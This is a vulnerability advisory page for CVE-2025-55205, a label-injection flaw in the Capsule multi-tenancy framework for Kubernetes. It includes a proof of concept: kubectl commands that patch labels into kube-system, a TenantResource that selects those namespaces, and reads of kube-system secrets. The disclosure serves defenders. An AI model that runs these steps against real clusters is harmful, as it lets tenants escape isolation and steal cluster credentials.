GHSA-fcpm-6mxq-m5vv

Опубликовано: 18 авг. 2025

Источник: github

Github: Прошло ревью

CVSS3: 9

Описание

Capsule tenant owners with "patch namespace" permission can hijack system namespaces label

Summary

A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.

Details

The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:

if label, ok := ns.Labels[ln]; ok { // Only checks permissions when namespace has tenant label if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) { response := admission.Denied(e) return &response } } return nil // Critical issue: allows operation if no tenant label exists

Root Cause Analysis:

Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the capsule.clastix.io/tenant label by default
Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant
Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces

Attack Vector Path:

Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access

This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:

CVE-2024-39690: ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking
This vulnerability: Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access

PoC

Prerequisites:

Minikube cluster with Capsule v0.10.3 installed
Authenticated tenant user with basic RBAC permissions

Step 1: Environment Setup

# Install Minikube and Capsule minikube start helm repo add projectcapsule https://projectcapsule.github.io/charts helm install capsule projectcapsule/capsule -n capsule-system --create-namespace # Create tenant and user kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF # Create user certificate and kubeconfig (using provided script) ./create-user-minikube.sh alice tenant1

Step 2: Label Injection Attack

# Switch to attacker context export KUBECONFIG=alice-tenant1.kubeconfig # Inject malicious labels into system namespaces kubectl patch namespace kube-system --type='json' -p='[ { "op": "add", "path": "/metadata/labels/malicious-label", "value": "attack-value" } ]' # Verify injection success kubectl get namespace kube-system --show-labels

Step 3: Exploitation via TenantResource

# Create attacker-controlled namespace kubectl create namespace alice-attack # Create malicious TenantResource targeting injected labels cat <<EOF | kubectl apply -f - apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: name: malicious-resource namespace: alice-attack spec: resyncPeriod: 60s resources: - namespaceSelector: matchLabels: malicious-label: "attack-value" EOF # Verify cross-tenant access kubectl get tenantresource -n alice-attack malicious-resource -o yaml

Step 4: Verification of Impact

# Check if system namespace resources are now accessible export KUBECONFIG=~/.kube/config kubectl get namespaces -l "malicious-label=attack-value" # Output shows: kube-system (and potentially other injected namespaces) # Check for potential resource replication/access kubectl get all -n kube-system kubectl get secrets -n kube-system kubectl get configmaps -n kube-system

Automated Testing Script: A complete vulnerability verification script is available that tests:

Label injection into multiple system namespaces
TenantResource exploitation
Cross-tenant resource access verification
Impact assessment and cleanup

Impact

Vulnerability Type: Authorization Bypass / Privilege Escalation

Who is Impacted:

Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions
Organizations relying on Capsule for tenant isolation and resource governance
Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy

Security Impact:

Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces
Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components
Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces
Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries
Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions

Real-world Exploitation Scenarios:

Access to kube-system secrets containing cluster certificates and service account tokens
Modification or replication of critical system configurations
Cross-tenant data access in shared clusters
Potential cluster-wide compromise through system namespace access

Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.

Ссылки

Пакеты

Наименование

github.com/projectcapsule/capsule

Затронутые версииВерсия исправления

< 0.10.4

0.10.4

EPSS

Процентиль: 2%

0.00015

Низкий

9 Critical

CVSS3

CVE ID

CVE-2025-55205

Дефекты

CWE-863

Связанные уязвимости

CVE-2025-55205

CVSS3: 9

nvd

6 месяцев назад

Capsule is a multi-tenancy and policy-based framework for Kubernetes. A namespace label injection vulnerability in Capsule v0.10.3 and earlier allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. This vulnerability is fixed in 0.10.4.

EPSS

Процентиль: 2%

0.00015

Низкий

9 Critical

CVSS3

CVE ID

CVE-2025-55205

Дефекты

CWE-863